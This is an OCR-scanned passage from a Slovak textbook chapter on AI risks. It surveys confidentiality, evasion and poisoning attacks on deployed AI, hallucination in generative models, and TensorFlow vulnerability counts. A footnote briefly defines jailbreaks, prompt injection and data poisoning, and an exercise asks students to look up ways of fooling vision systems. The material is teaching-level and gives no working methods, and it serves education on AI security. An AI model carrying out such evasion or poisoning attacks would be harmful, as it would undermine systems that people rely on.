Pri hlbSom pohlade na uvedené problémy nas mozu dobiehat aj ich dalSie dosledky
— nielen rizika priameho zlyhania, ale aj realita vysledkov, ktoré moze byt tazkeé
spravne interpretovat (Co sa vlastne siet naucila, o vystup z danych dat na vstupe
vlastne znamend) a neschopnost predvidat, kedy sa jednotlivé zlyhania prejavia
(za akych podmienok, pri akej stthre okolnosti, v dosledku akej dynamiky
vnutorného vyvoja, resp. ¢innosti systému Al).Pri zavadzani sticasnych systémov
Al do nasadenia v realnom svete si treba uvedomit, Ze ich spolahlivost je
limitovana a schopnosti st obmedzené. Analogicky treba s tymto rizikom narabat
aj v pripade etickych noriem a mantinelov, ktoré dokazeme v ramci systémov
umelej inteligencie implementovat.

22 Termin hyper parametre (hyperparameters) je zastresujucim vyjadrenim pre celt
mnozinu parametrov, ktoré musia byt clovekom prednastavené, aby neurénova siet
bola vobec schopna tspesne sa ucit. Do tejto mnoziny patri napriklad pocet vrstiev
neurdnovej siete, velkost recepénych poli jednotlivych uzlov konvoluénych sieti,
parametre rychlosti ucenia sa, pouzita aktivacna funkcia a sposob klasifikacie i vela
dalsich technickych detailov.

2% Okrem podstatnych zranitelnosti a slabin uvedenych v tejto kapitole technoldgie Al
zdpasia so Sirokym spektrom dal$ich problémov. Len v rdmci systémov s ucenim
formou odmenovania mozno spomentt také problémy ako Safe exploration,
Robustness to distributional shift, Avoiding negative side effects, Avoiding “reward
hacking” and “wireheading”, Scalable oversight a pod.

Por. AMODEI D., OLAH, CH., STEINHARDT, ]. et al. Concrete Problems in Al Safety.
[on-line]. [cit. 7. jala 2022].
Dostupné na internete: <https://arxiv.org/abs/1606.06565>
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Nistrahy umelej inteligencie*

Pozrite si obrdzok “Ndstrahy umelej inteligencie”, preloZte text a vysvetlite jednotlivé
body.

Ako by mohli vyzerat zle zvolené trénovacie data pre ndaborovy systém, na zdklade
ktorych by vznikali predsudky a nesprdvne ohodnotenie zdujemcov o pracu?

Uwved'te niekol'ko prikladov udalosti, ktoré mozu nastat’ pocas premduky na ceste, pricom
pre autondmne vozidlo by boli siiéastou dlhého chvosta.

V texte sme uviedli §pecidlny make up, pokreslenti cesta, samolepkami oblepeny stlp ¢i
avantgardnd potlac na tricku, ako sposoby pomylenia modernych systémov strojového
videnia, detekcie objektov, rozpozndvania tvdri ¢i autondmnych systémov riadenia
vozidiel. Vyhladajte na internete konkrétne priklady pre uvedené spdsoby klamania
systémov AL

224 Escaping Skinner's Box: Al and the New Era of Techno-Superstition [on-line]. [cit. 27.01
2024].
Dostupné na internete: https://philosophicaldisquisitions.blogspot.com/2019/10/
escaping-skinners-box-ai-and-new-era-of. html
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Bezpecnost procesov?

Ako sme v uvode tejto kapitoly uviedli, systémy umelej inteligencie sa stavaju
neoddelitelnou stcastou fungovania rodiacej sa informacnej spoloc¢nosti
a v mnohych oblastiach Zivota sti nasadené a pomerne tispesne vyuzivané. Druhy
pohlad na limity a rizika sucasnych systémov Al preto zameriame na bezpecnostné
aspekty ich nasadenia a utoky, ktorym celia.

V zasade rozliSujeme tri druhy utokov na systémy Al pouzivané v redlnej
prevadzke:?

e utoky na dovernost (confidentiality attacks)
e utoky na zranitelnosti (evasion attacks)
e utoky s ciefom ovplyvnit model (poisoning attacks)

Utoky na dévernost (confidentiality attacks)

Ide o utoky zamerané na data uloZené v ramci modelov systémov Al, ktorych
zamerom je snaha kopirovat model za ucelom extrahovania tréningovych dat
a parametrov z tychto modelov.?” Ako sme uviedli v predchadzajticej podkapitole,
kvalitné a rozsiahle tréningové data st jednym z podstatnych faktorov spravne
fungujaceho systému Al Pre redlne nasadenie v konkrétnom sektore, resp.
organizacii, sa tak sicastou tréningovych dat mozu stat doverné, osobné, pripadne
strategické informacie.

Naviac, v kontexte vysokej sofistikovanosti kvalitnych systémov strojového ucenia
je nezanedbatelnym dovodom aj snaha ziskat informacie o dizajne a hyper
parametroch konkrétneho systému Al.

I:Ttoky na zranitel'nosti (evasion attacks)

V tejto oblasti sa utocnici zameriavaju na odhalovanie a zneuZitie existujtucich
zranitelnosti v modeloch za ti¢elom zmanipulovania vysledkov systémov Al. Ide tak
— na zdaklade existujucich zranitelnosti a limitov — o ovplyvriovanie cinnosti
systémov Al priamo pocas ich prevadzky.?®

25 SANTAVY, Umeld inteligencia — dobry sluha a zly pan?, s. 87-91.
26 REHAK, M. Utoky na systémy umélé inteligence a jejich obrana. In: Umél4 inteligence
2021. Praha: TUESDAY Business Network, 2021.

27 Jednym z jednoduchych spésobov titoku je napr. cielené zadavanie velkého kvanta

vstupnych dat do systému konkurencie a sledovanie/analyza vysledkov.

REHAK, Utoky na systémy umélé inteligence a jejich obrana.

28 Oklamanie systému na rozpoznavanie tvari, podvodné ziskanie financii, resp. tveru
z bankového domu, vyradenie z ¢innosti systému pre automatické riadenie strelby

alebo skupinového riadenia dronov, atd.
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Utoky s cielom ovplyvnit model (poisoning attacks)

Hovorime o celej skale tutokov, ktorych cielom je ovplyviiovanie modelu,
tréningového procesu, a tym aj vyslednej cinnosti systému Al Ide o zamerné
ovplyviiovanie tréningového procesu (ucenia) modelu za ti¢elom manipulovania
jeho naslednych rozhodnuti v prevadzke.

V tejto suvislosti je zaujimavym etickym problémom, ktory sme doteraz
nespominali, aj iny rozmer zamerného ovplyvniovania systému Al — zamerné
nastavenie parametrov a ovplyviiovanie tréningového procesu samotnymi tvorcami
daného systému, ¢i uz zo svojej vole alebo na zaklade zadania objednavatela
systému. Osobitne v pripade, ked ide o vladny subjekt, nadnarodnti spolocnost,
celosvetovu socidlnu siet, informacné platformy a pod., sa jedna o vazny a delikatny
problém.
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Nicrt itoku typu poisoning attack a dopady na rozhodovanie autondmneho auta.’”

(\3)_} Pozrite si obrdzok s ndcrtom vitoku typu poisoning attack, vysvetlite jednotlivé kroky.

Ak sa pozrieme na pomerné zastipenie vyskytu jednotlivych druhov titokov, prax
poukazuje na velkt réznorodost vyskytu a pouzitia.

Utokov na dovernost (confidentiality attacks) je v sti¢asnosti minimum, pretoZe ich
ciel sa d4 dosiahnut inymi spdsobmi, ktoré st mnohokrat jednoduchsie, ¢asovo
menej narocné a lacnejsie. Kedze vacSina organizacii itoky tohto druhu neocakava,
ich nasadenie moZze byt ovela va¢sim rizikom s negativnym zaverom/vystupom.
Preto je potrebné byt opatrnym.

Uspesnost utokov s cielom ovplyvnif model (poisoning attacks) sa v sticasnosti
viaze na pokrocilé znalosti z oblasti umelej inteligencie, preto sa tento druh skor
nahradza jednoduchsimi titokmi zacielenymi na zranitelnosti systémov AL

Utoky na zranitelnosti (evasion attacks) tvoria v stcasnosti vacsinu utokov.
Vzhladom na neustaly vyvoj a otvorent komunikaciu ohfadom zranitelnosti
systémov Al existuje mnohokrat dostatok informacii pre zneuZzitie konkrétnych

2 Poisoning attacks and countermeasures in intelligent networks: Status quo and
prospects [on-line]. [cit. 27.01 2024]. Dostupné na internete: https://www.sciencedirect.
com/science/article/pii/S235286482100050X
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zranitelnosti (vytvorenie exploitu) a realizacia titokov je pomerne jednoducha, takze
sa daju l'ahko vykonat.?°

V kontexte bezpecnosti procesov umelej inteligencie sa etické vyzvy, doteraz
rozoberané ako sucast navrhu a realizacie systémov Al, rozsiruju aj o oblast etiky
pouzitia, resp. rizikd zneuzitia. V oblasti klasickej informacnej bezpecnosti st na
jednej strane barikady ti, ktori bezpecnost systémov strazia (profesionali v oblasti
kybernetickej bezpecnosti), odhaluju zranitelnosti s ciefom napravy a ochrany
systémov (napr. eticki hackeri), riesia skody a ochranuji obete, na strane druhej je
skryty zastup, od jednotlivcov az po organizované skupiny, ktori sa snazia systémy
zneuzit, znefunkdnit ¢i vykradnuft dolezité data z vel'mi ré6znorodych dovodov (od
ideologickych, psychologickych, sociologickych aZ po mocenské dovody
a kyberneticka kriminalitu). Nie je tomu inak ani v oblasti umelej inteligencie, ked
prekrocenie etického ramca je pre mnohych prilis lakavym pokusenim, ktorému
nebudu vediet a — ak sa etika navrhu a vyuzivania systémov Al nebude zodpovedne
riesit — ani nebudt chciet a mat preco odolat.

(\D} Diskutujte, aké ddta z pohladu ochrany osobnych tidajov (GDPR) moze organizicia
pouzit v ramci testovania odolnosti svojich systémov umelej inteligencie voci titokom
na dovernost’ (confidentiality attacks).

Spolocenské a psychologické rizika>!

Mnohi odbornici, pohybujuci sa v oblasti umelej inteligencie, podvedome ¢akajti na
moment, ked umeld inteligencia premdze Iudska silu a inteligenciu. Inak povedané,
kedy nastane vek uvedomelej vSeobecnej umelej inteligencie (AGI), ktora nas
dokaZe nahradif v praci a bude mudrejSia nez my. Stéle sa domnievame, Ze tato
otazka nie je na programe dna a aktudlne je viac sucastou pracovnej naplne
futurolégov.

Skor sa stotoznujeme s pohladom Tristana Harrisa, byvalého etika dizajnu vo firme
Google a spoluzakladatela Centra pre humanne technoldgie, pre ktorého je ovela
ddlezitejsi ten moment, v ktorom technoldgia prekona a ovladne Iudské slabosti. Uz
vtedy prichadza vitazstvo Al a porazka Iudstva, lebo uz vtedy prichadza zavislost,
polarizacia a radikalizacia spolocnosti, zaslepenost, strata schopnosti komunikovat
a hladat pravdu,... jednoducho prehrava vsetko fudské v nas.

0 To neznamend, ze by bolo vhodnejsie hladanie, analyzu a rieSenie zranitelnosti skryvat.
Uz v ramci klasickej kybernetickej bezpecnosti je overenym faktom, Ze bezpecnost
prostrednictvom utajenia (security by obscurity) je skutocne zly napad. Pri otvorenom
pristupe k problému zranitelnosti sa tieto mozu rychlejsie identifikovat, komplexnejsie
analyzovat a plosne odstrariovat.

21 SANTAVY, Umeld inteligencia — dobry sluha a zly pan?, s. 97-107.
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Obr. X8. Dva pohlady na singularitu®? v oblasti umelej inteligencie

Mil'nikom, ktorého by sme sa mali obavat, teda nie je buduca technologicka
singularita v oblasti umelej inteligencie, v ktorej AI prevysi nas intelekt, ale ovela
skor moment, ked technoldgia ovlidne a prekona nase slabosti. Uz vtedy
prichadza vitazstvo umelej inteligencie a porazka ludstva.

Len heslovite uvadzame niekolko problémov technolégii Al, ktoré atakuja [udsku
slabost a psychologické i sociologické aspekty cloveka:

Aby nasadenie systémov umelej inteligencie bolo v spolocnosti tispesné, potrebné
data musia byt neustdle zhromazdované z redlneho sveta a priamo z Iudského
prostredia. Ludia i cela spolocnost st vystavovani neustalemu dohladu
a sledovaniu, ktoré je vsak len velmi malo pod kontrolou, ak vobec;

Na zaklade zhromazdovanych dat st algoritmy Al schopné vytvarat modely, ktoré
sa snazia predpovedat nase konanie;

Pre dosiahnutie zadanych cielov (napr. zisk na socidlnych sietach, ktory sa viaze
na cas straveny na sieti, pocet zhliadnutych reklam, resp. pocet interakcii s nimi) st
algoritmy AI schopné privadzat navstevnikov k pozornosti/zaujmu, akceptacii
predkladanych informacii (napr. podprahovymi metdédami) a k ovplyviovaniu
nasho vnimania a nasich rozhodnuti;

Bez etického a regulacného ramca dokazu systémy umelej inteligencie vytvarat
prostredie zaloZené na zavislosti a manipuldcii. Napriklad pod intenzivnym

2 Singularitou v oblasti umelej inteligencii je mysleny stav, ktory nastane, ak umela
inteligencia so schopnostou ucit sa, zlepsovat sa a samostatne sa vyvijat rychlo
dosiahne a nasledne prevysi inteligenciu cloveka. Teda situdcia, ked sa pocitacové
systémy stanu inteligentnejsimi nez I'udia.
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vplyvom socialnych sieti a virtualneho sveta sa Iudia stavaju zavisli na svojej
viditelnej dokonalosti a neustalom prisune kratkodobych signalov odmenovania
(napr. na pacikoch) az do tej miery, Ze si to spajaji s hodnotami a s pravdou.
Skutocne hodnotné a pravdivé sa tak stava to, o prindsa najviac pozitivnych
hodnoteni a ¢o Tudi udrziava v kontrolovanom pozitivnom stave kratkodobych
signalov odmenovania. Technoldgie sa tak m6zu podielat na vytvarani nazorovych
bublin, strate kritického myslenia a schopnosti diskutovat s oponentmi, radikalizacii
a polarizacii spolo¢nosti.

Vybrané rizikd generativnych systémov>*

30. novembra 2022 spolo¢nost OpenAl predstavila ChatGPT — velky jazykovy
model, ktory na zadklade jazykovych vstupov generoval pozadované odpovede.
Technologicky vychadzal z 3. generacie modelu GPT (Generative Pre-trained
Transformer), ktory bol predstavitefom slubne sa rozvijajlicej tzv. generativnej
umelej inteligencie. Ako uz nazov napoveda, algoritmy generativne Al st1 schopné
generovat r6znorody obsah — text, obrazky, audio a video a pod.

ChatGPT (GPT 3.5) neznamenal ani tak technologicky prielom, ako skor
sociologicky a psychologicky zlom v pristupe verejnosti k systémom a moznostiam
umelej inteligencie. Nastal velky dopyt po generativnych systémoch Al a moznosti
ich nasadenia i sposoby vyuzitia prekrocili akékol'vek ocakavania.

Generativne systémy, ¢i uz ide o modely jazykové, grafické alebo generujtice video,
vedia byt izasné v spractivani obsahu zadania, generovani odpovedi a vystupov,
pricom castokrat dokazu rychlo ponuknut lepsie vysledky nez Iudia. Vyuzitie je
skutocne Sirokospektralne a moze byt uspesné pri chapani rizik a déslednom
aplikovani zasad spravneho pouzitia a kontroly.

Jednym z hlavnych problémov stt nespravne odpovede, resp. tzv. halucinovanie.
Ide o vymyslanie si odpovedi, ktoré systém predklada ako relevantné a spravne.
Treba si uvedomit, Ze pri ChatGPT a ostatnych generativnych systémoch Al ide
v zéasade o stochastické systémy (ndhodné, vytvorené z pravdepodobnosti), ktoré
uréitym spdsobom generujii ¢o najpravdepodobnejSie odpovede na zdklade
naucenych dat.

Generativne systémy zo svojej podstaty nevedia, ¢i je odpoved spravna a ¢i nie,
kedZe pontikaju len Statisticky najpravdepodobnejsie vystupy. A tak miesto
odpovede ,neviem” pontikaju vymyslené odpovede, u ktorych neznaly pouzivatel
nevie rozliit, do akej miery st pravdivé a do akej ide o vymysel. Preto pre ispesné
nasadenie v danej oblasti je potrebné mat najprv jasne definované data, z ktorych sa
systém uci (Co je mozné v Specializovanych vyuzitiach) a nasledne u vsetkych
generativnych systémov odpovede aj overovat.

23 SANTAVY, Umeld inteligencia — dobry sluha a zly pan?, s. 112-114.

203



S problémom halucinacie ide ruka v ruke spojené i riziko predsudkov
a neobjektivnych vystupov. Dosledkom tohto je generovanie polopravd
a nespravnych odpovedi.

Dal$im problémom je napriklad nejasny sposob naribania s udajmi, ¢oho
dosledkom moéze byt unik dovernych dat, prehresky voci ochrane osobnych
udajov i problémy s autorskymi pravami.

Velké generativne systémy umelej inteligencie sa ucia na extrémne velkej mnozine
dat, ktort ponuka internet, pripadne neustdly zber dat v ramci informacnych
systémov stcasnosti. Sticasné systémy umelej inteligencie skutoént inteligenciu
nemaju, len ju simuluju. TakZe okrem iného vobec nedisponuji schopnostou
rozliSovat moralne dobré a z1¢é.

Preto sa do sucasnych generativnych systémov implementujd viaceré trovne
kontroly, ¢i uz ide o modifikaciu sposobu ucenia sa a generovania vystupov alebo
o vystupné filtre, ktoré deteguju a blokuji problematicky obsah. Kazdy systém je
vSak zranitelny,?* takze ide o neustdly proces hladania a implementdcie co
najvhodnejsich rieseni.®

Jednym z potencidlnych rizik generativnych systémov je riziko tzv. digitalnej
demencie, pri ktorej prichadza k degradacii intelektualnych schopnosti
a k dopaminovej zavislosti na zaklade ponorenia sa do virtualneho sveta, v ktorom
systémy umelej inteligencie v coraz vacSej miere supluju kognitivne cinnosti
¢loveka, a to spdsobom, na ktory nie sme evolucne vdbec pripraveni. Jednoducho
povedané, tieto systémy umelej inteligencie mézu nahradif viaceré intelektudlne
¢innosti cloveka. Dlhodobo to mozZe viest nielen k zniZovaniu inteligencie, ale
i k nartsaniu psychického vyvoja u deti a dospievajucich.

Pohlad pod kapotu umelej inteligencie

Delenie systémov umelej inteligencie na symbolické a subsymbolické i rozne
metody a algoritmy, ktoré tieto technoldgie vyuzivaji, sa odraza aj na spdsobe
technickej implementacie — softvérovej i hardvérove;j.

24 Medzi bezné spdsoby titokov na generativne systémy patri jailbreak (modifikovanie
otazok tak, aby sme dostali pozadovanu zablokovant odpoved), prompt injection
(atakovanie prostrednictvom Specialnych vstupov, upravenych obrazkov), data
poisoning (otrava dat, na ktorych sa velky jazykovy/medialny model uci).

5V ramci ladenia sa vyuziva Reinforcement Learning from Human Feedback (RLHF)

a Low-Rank Adaptation of Large Language Models (LoRA). Na kontrolu stt pouzivané
tzv. LLM Evaluation metriky (ROUGE a BLEU). Medzi najnovsie sposoby ladenia

a snahy o rieSenie problému halucinovania patri Retrieval Augmented Generation
(RAG).
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Softvér?*

Pre drvivu vadsinu symbolickych systémov (napr. expertné systémy) sa vyuzivaju
klasické metody pocitacového spracovania — logické operacie vykonavané nad
symbolmi (hodnota premennej, retazec, objekt,...) na zaklade klasickych algoritmov,
tj. vopred definovanych pravidiel a postupov. Vyuzivané st rézne programovacie
jazyky, pricom osobitné miesto vo vyvoji symbolickych systémov zastavali jazyky
Lisp a Prolog, v sticasnosti viaceré moderné jazyky, napr. Python.

Vo svete subsymbolickych technologii Al sa v hojnej miere vyuzivaju algoritmy
zahfmajuce Statistické a numerické metody.

Napriklad systémy Al vyuzivajuce ucenie s ucitelom (supervised learning)
vyuzivaju regresné algoritmy (predpovedanie Cciselnych hodnot) a algoritmy
klasifikacné (predpovedanie kategorickych hodnét), pricom niektoré z nich mozno
pouzit len na regresiu, iné len na klasifikaciu a mnohé na oboje. Najpopularnejsie
algoritmy ucenia pod dohladom moZzeme rozdelit do troch klacovych kategdrii:?

e linearne modely, ktoré pouzivaju jednoduchy vzorec na najdenie najlepsie
vyhovujtcej priamky cez subor datovych bodov (napr. linedrna regresia,
logisticka regresia so sigmodialnou funkciou a pod.);

e modely zaloZené na stromoch, ktoré pouzivaju sériu pravidiel ,ak-potom”
na generovanie predpovedi z jedného alebo viacerych rozhodovacich
stromov;**

e neuronové siete a hlboké ucenie, v ramci ktorého sa zadané tlohy vykonavaja
bez toho, aby bolo potrebné kédovat instrukcie zalozené na pravidlach. Tieto
systémy su schopné vykonavat v danej oblasti sofistikované adaptivne
a autonomne ¢innosti.

Medzi najpopuldrnejSie techniky implementacie ucenia bez ucitela (unsupervised
learning) patri tzv. zhlukovanie (clustering). Ide o metédu hladania suvislosti

26 SANTAVY, Umela inteligencia — dobry sluha a zIy pan?, s. 90-92.

7 GROSS, K. Machine Learning and Linear Models: How They Work [on-line]. [cit. 31.
augusta 2023].
Dostupné na internete: <https://blog.dataiku.com/top-machine-learning-algorithms-
how-they-work-in-plain-english-1>

28 Patria sem modely rozhodovacich stromov, metdda ndhodného lesa, ktora paralelne
vytvara mnoho rozhodovacich stromov a gradient boosting modely so sekvencnymi
rozhodovacimi stromami.
GROSS, K. Tree-Based Models: How They Work [on-line]. [cit. 31. augusta 2023].
Dostupné na internete: <https://blog.dataiku.com/tree-based-models-how-they-work-in-
plain-english>

205



v celku a nasledné utriedenie objektov na zaklade podobnych vlastnosti do
zhlukov.

V ramci ucenia formou odmenovania (reinforcement learning) sa bezne vyuzivaju
bezmodelové algoritmy Q-learning, SARSA a v kombindcii s neurénovymi sietami
aj Deep Q-learning, resp. Deep Q-Networks.**

Algoritmy subsymbolickych systémov umelej inteligencie sti implementované
v roznych modernych programovacich jazykoch, ktoré priamo obsahuju kniznice
a podporu pre Specifické operacie spracovania dat v oblasti Al Medzi
najpouzivanejsie patri Python (strojové ucenie, excelentna podpora Sirokého spektra
aplikacii AI), C++ (neurdnové siete, nizkouroviiové kniznice Al), R (Statisticka
analyza, vizualizacia, linedrne a nelinedrne modelovanie a zhlukovanie), Scala
(vypoctova podpora), Julia (numerické operacie, Statisticka analyza, transformacie)
a Rust (bezpecné programovanie).

Na zaklade uvedeného si mézZeme uvedomit, Ze sticasné systémy umelej inteligencie
su postavené na sice modernych, no predsa len beznych informacnych
a komunikac¢nych technolégiach. Preto — ako elektronické systémy — zdielaju aj
vSetky rizika a neduhy modernych kybernetickych systémov, takze kyberneticka
bezpecnost sa stava podstatnym aspektom rieseni postavenych na umelej
inteligencii.

Kyberneticka bezpec¢nost je oblastou, ktora urc¢itym sposobom doteraz uvedené
problémy, limity a rizika technologii Al prepdja, kedZe v redlnom nasadeni vo
vacdsine pripadov nie je mozné rizikd striktne rozdelovat podla vyssie uvedenych
kategorii problémov. Mnohé rizika napriklad atakujii bezpecnost procesov umelej
inteligencie, zneuzivaju nedostatky dizajnu alebo amplifikuju (rozsiruji/zosilnuja)
dosledky rizikovych faktorov, pricom vsSak ako vektor tutoku pouzivaji
zranitel'nosti v oblasti kybernetickej bezpecnosti.

Napriklad jedna z najpouzivanejsich platforiem pre vyvoj a prevadzku systémov
strojového wucenia, TensorFlow od Googlu mala len za rok 2021 oficidlne

29 Medzi najznamejsie metddy zhlukovania patri napr. K-Means clustering a hierarchické
zhlukovanie.
GROSS, K. Clustering: How It Works [on-line]. [cit. 31. augusta 2023].
Dostupné na internete: <https://blog.dataiku.com/clustering-how-it-works-in-plain-
english>

20 BHATT, S. Reinforcement Learning [on-line]. [cit. 31. augusta 2023].
Dostupné na internete: <https://towardsdatascience.com/reinforcement-learning-101-
€24b50e1d292>
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evidovanych 201 zranitelnosti (pridelené CVE?"). Je zaujimavé, Ze z pohladu
kybernetickej bezpecnosti ma vacsina tychto zranitelnosti nizke rizikové skére
(CVSS Score) — dosledky ich zneuzitia tak nemusia byt velkym rizikom a viest ku
klasickym kybernetickym kompromitaciam (hacknutiam). Vo viacerych pripadoch
moze vsak byt dosledkom ich zneuzitia prerusSenie prebiehajticej tlohy alebo jej
nespravne vykonanie. TakZe nizke CVSS skore v oblasti kybernetickej bezpecnosti
nemusi znamenat malé riziko pre prevadzku systému Al.**2

S postupnym rozsirovanim vyuzivania tejto platformy a celkovo systémov Al badat
aj rapidny medzirocny narast evidovanych zranitelnosti,*® ¢o na jednej strane
znamena viac potenciondlnych sposobov kompromitacie, na strane druhej je to vSak
indikatorom zvyseného zaujmu o bezpecnost softvérového vybavenia pre masivne
zavadzanie AL

Indikatorom skutocného rizika nie je tak ani pocet objavenych a zdokumentovanych
zranitelnosti, ale skor priemerny cas potrebny na ich odstranenie.

Dbélezitym faktorom je tiez spdsob nasadenia technologického vybavenia systémov
Al kedZe v mnohych pripadoch ide o systémy, ktoré po nasadeni do prevadzky nie
st predmetom tudrzby a pripadnych aktualizacii (oprav) bezpecnostnych chyb,
takZe sa stadvaju bezpecnostnym rizikom.* Neaktualizovany jednoduchy
inteligentny asistent vo fotoaparate nie je problémom, no systém, ktory napr. riadi
dopravu a nie je tazké ho zmiast, resp. navodit dopravny kolaps a nehody — ak sa
objavené chyby v jeho dizajne, ¢i implementacii neoSetria — moze byt velmi
nebezpecny. Mozné obete na Zivotoch by boli len otazkou casu, pokial by dané
chyby niekto zneuzil, resp. by sa vyskytol subeh podmienok (race condition), ktoré
tento systém Al pomylia.

#1 Systém CVE (Common Vulnerabilities and Exposures) poskytuje referenént metdédu
pre verejne zname zranitelnosti a ohrozenia informacnej bezpecnosti. Tento systém
spravuje Narodné centrum kybernetickej bezpecnosti Spojenych Statov americkych
(NCF), ktoré prevadzkuje spolocnost The Mitre Corporation, a financuje ho Narodna
divizia kybernetickej bezpe¢nosti amerického ministerstva pre vnitornt bezpecnost.
V oblasti kybernetickej bezpecnosti ide o relevantnii, bezne pouzivant a celosvetovo
akceptovant metddu klasifikacie zraniteInosti.

Common Vulnerabilities and Exposures. [on-line]. [cit. 15. februdra 2022].
Dostupné na internete: <https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_
Exposures>

2 Google » Tensorflow: Security Vulnerabilities [on-line]. [cit. 11. januara 2022].

Dostupné na internete: <https://www.cvedetails.com/vulnerability-list/vendor_id-1224/
product_id-53738/Google-Tensorflow.html>

> Google » Tensorflow: Vulnerability Statistics [on-line]. [cit. 11. januara 2022].
Dostupné na internete: <https://www.cvedetails.com/product/53738/Google-Tensorflow.
html?vendor_id=1224>

24 Toto je jedno z vaznych rizik nastupujticeho masivneho vyuzivania internetu veci (IoT),
ktoré s prichodom 5G sieti smeruju k intenzivnej interkonektivite a tym aj k on-line
zranitelnosti.
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Ako kazda ina oblast kybernetickej, resp. vo vSeobecnosti informacnej
bezpecnosti, i oblast bezpecnosti systémov Al je proces. A ako v kazdej inej
oblasti informacnych technoldgii, ani v oblasti systémov umelej inteligencie
neexistuje dokonale bezpecny a spolahlivy systém.

Okrem snah o rieSenie bezpec¢nosti systémov Al je jednou z velkych tiloh aj hfadanie
sposobov, ako minimalizovat dosledky tychto zlyhani ¢ uz pevnymi
obmedzeniami, dohladovymi rieSeniami, alebo inymi prostriedkami.
Zaujimavostou je, ze v sucasnosti takmer vSetky moderné nastroje pouzivané
v ramci kybernetickej bezpecnosti na detekciu, dohlad a ochranu pred utokmi
taktiez obsahuju prvky umelej inteligencie.

Tiez si treba uvedomit, Ze pocet zranitelnosti je priamo tumerny komplexnosti
systémov — ktord je v oblasti umelej inteligencie jednym z normativnych faktorov
sofistikovanych a tuspesnych systémov. Podobne pocet kompromitacii, resp.
zneuziti tychto zranitelnosti, priamo rastie s mierou nasadenia a vyuzivania
v redlnom svete.

(\D} Ktory z programovacich jazykov by ste si vybrali pre riesenie jednoduchej iilohy
z oblasti neurdnovyjch sieti? Zdovodnite preco.

\®_} Skuste porovnat’ bezpecnostné rizikd a problémy robustnosti pri tvorbe expertnych
systémov (teda symbolickych systémov zaloZenych na logike 1. radu) a neurénovych
sieti.

Hardvér*®

Sucasné systémy umelej inteligencie st postavené na modernych informacnych
a komunikac¢nych technoldgiach, ktoré s tvorené nielen softvérovym vybavenim
(pocitacové programy), ale i hardvérom, t. j. elektronickym a vo vSeobecnosti
technologickym zazemim, vdaka ktorému softvér systémov umelej inteligencie
moze pracovat.

Vypoctové systémy prevadzkujuce moderné algoritmy Al musia disponovat
velkym vypoctovym vykonom?* a vzhladom na enormné mnoZzstvo spractivanych
dat aj schopnostou spracovavat velké kvanta strukttirovanych i nestrukttirovanych
dat.

Operacie vykonavané neurénovymi sietami tvoria pomerne Specifickii podmnozinu
funkcionality modernych pocitacovych systémov, pricom ich vykon nie je Specidlne
optimalizovany primarne pre vykondvanie operacii napriklad strojového ucenia.
Kvoli optimalizacii vykonu sa preto v poslednych rokoch vyvija Specializovany

25 SANTAVY, Umeld inteligencia — dobry sluha a zly pan?, s. 92-96.

#6 S rozvojom algoritmov strojového ucenia sa pozadovany vypoctovy vykon v poslednej
dekade zvysuje exponencidlne!
AMODEI D., HERNANDEZ, D. Al and Compute. [on-line]. [cit. 30. augusta 2023].
Dostupné na internete: <https://openai.com/blog/ai-and-compute/>

208



hardvér*’, ktory pontika ovela vyssi vykon v operaciach algoritmov umelej
inteligencie nez bezné — i ked vykonné — pocitacové vybavenie.?*

Z apetitu sticasnych modernych systémov Al sa javi, Ze ich dalsi rozvoj bude
pravdepodobne vyzadovaf nielen kvantitativnu, ale predovsetkym kvalitativnu
zmenu v schopnostiach hardvéru vypoctovych systémov.*’

Technoldgie, potrebné pre tspesné nasadenie systémov Al, netvori len vykonny
hardvér schopny vykonavat extrémne mnozstvo Specializovanych operacii za
sekundu. Viaceré oblasti nasadenia v realnom svete poukazuju i na dalSie
komponenty, na ktoré nesmieme zabudat - Specifické periférne zariadenia
a technoldgie vysoko rychlostného prepojenia vSetkych casti funkéného celku Al
v danej oblasti nasadenia.

Vyuzivanie systémov umelej inteligencie v realnom svete je pre mnohé scenare
pouzitia spojené s kvalitnymi perifériami, tj. vstupnymi a vystupnymi systémami.”’
Pozadovana kvalita a vykon periférii sa dosahuje ich neustalym zlepSovanim,
implementovanim Specializovanych systémov Al (napr. na vylepsenie pocitacového
videnia z kamery) a orchestraciou (zladenim) r6znych typov periférii do spolo¢ného
celku.

Velky objem zo senzorov generovanych a spractivanych dat v redlnej prevadzke
systémov Al a vysoké datové toky medzi jednotlivymi ¢astami tychto systémov,
ktoré musia byt realizované v zlomkoch sekiind, vytvaraja velké naroky na spdsoby

7 Procesory optimalizované pre Al, hardvérové akceleratory, atd.: ASIC - Application

Specific Integrated Circuit, Specializované integrované obvody navrhnuté na
vykonavanie tloh spojenych s AI, TPU - Tensor Processing Unit, Specializovany
akcelerator od Google, vyuZzivanie vypoc¢tového vykonu cloudov,...

%8 Trh s tymto hardvérom je pomerne rozsiahly — od superpocitacov, cez vykonné systémy

autonomnych vozidiel, vojenskt techniku a r6znorodé technické vybavenie,
Specializované integrované obvody (Cipy) pre osobné pocitace, tablety a mobily, az po
napriklad $pickové a vykonné nastroje pre softvérovych vyvojarov a vedcov v oblasti
Al, ¢i uz ide o cloudové platformy alebo hardvérové komponenty, ktoré je mozné kupit
za lacny peniaz (desiatky Eur) a ktoré sa daju k pocitacu jednoducho pripojit cez USB,
PCle alebo M2 rozhranie.

9 Vyvoj sa ubera ro6znorodym smerom: ¢i uz ide o hladanie novych polovodic¢ovych

architektar, neuromorfné ¢ipy, memristory, optické systémy, biotronické systémy,

kvantové pocitace,...

»0° Napr. autonémne vozidla pre svoju prevadzku vyzaduji detekciu okolia

a monitorovanie trasy. Na detekciu sa v sticasnosti vyuziva kombinacia radarov,
lidarov, satelitnej navigécie, pocitacového videnia a zvukovych vstupov.
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vysoko rychlostného prepojenia (napriklad systémovej zbernice) v ramci
jednotlivych systémov AL>!

Vo viacerych pripadoch nasadenia vSak musia systémy Al komunikovat aj s inymi
systémami, napr. autonémne vozidld so satelitnymi navigacnymi systémami,
s inteligentnou infrastruktdrou vozoviek, s ostatnymi vozidlami, internetom, atd.?>
A to vSetko v redlnom case.”

K faktorom, ktoré asi nikdy nedokazeme naplno oSetrif, patri aj zlyhanie
jednotlivych komponentov a elektronickych stciastok. Ide o maly bonus k doteraz
uvedenym problémom, ktory sa riesi zlepSovanim technoldgie vyroby a testovania
roznymi metddami redundancie, Statistickymi metddami a prvkami kontroly,
pricom miera zloZitosti a financnej narocnosti pri systémoch zabezpecenych voci
zlyhaniam elektroniky mnohokrat netimerne rastie. Ekonomicky rozmer tak moze
